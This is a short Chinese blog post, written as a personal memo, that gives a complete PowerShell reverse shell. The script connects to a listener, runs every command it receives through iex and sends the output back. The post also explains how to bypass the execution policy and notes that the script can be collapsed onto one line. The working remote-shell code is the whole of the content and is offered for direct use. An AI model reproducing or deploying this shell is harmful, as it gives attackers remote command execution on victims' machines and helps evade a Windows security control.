写在开始

之前发现了一个纯靠PowerShell就能弹Shell的方式,特地记录一下

使用方式

原理是调用C#的库,建立TCP连接
代码如下

$client = New-Object System.Net.Sockets.TCPClient('172.16.1.19', 6666);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % { 0 };
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    ;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush()
};
$client.Close()

把上面的IP地址和端口换成本机监听的IP地址和端口,然后执行这段PowerShell即可。写成ps1之后直接执行也可以,如果遇到禁止执行脚本,那就用下面的方法

PowerShell.exe -ExecutionPolicy Bypass -File run.ps1

这样就能临时执行一次PowerShell脚本了。

写在最后

这种最简单的方法之前找到过一次,后面想找就不是很好找了,特地留在这里备忘。上述脚本是可以压缩到一行的,将换行符都删掉就行了。

Last modification:August 3, 2023
如果觉得我的文章对你有用,请随意赞赏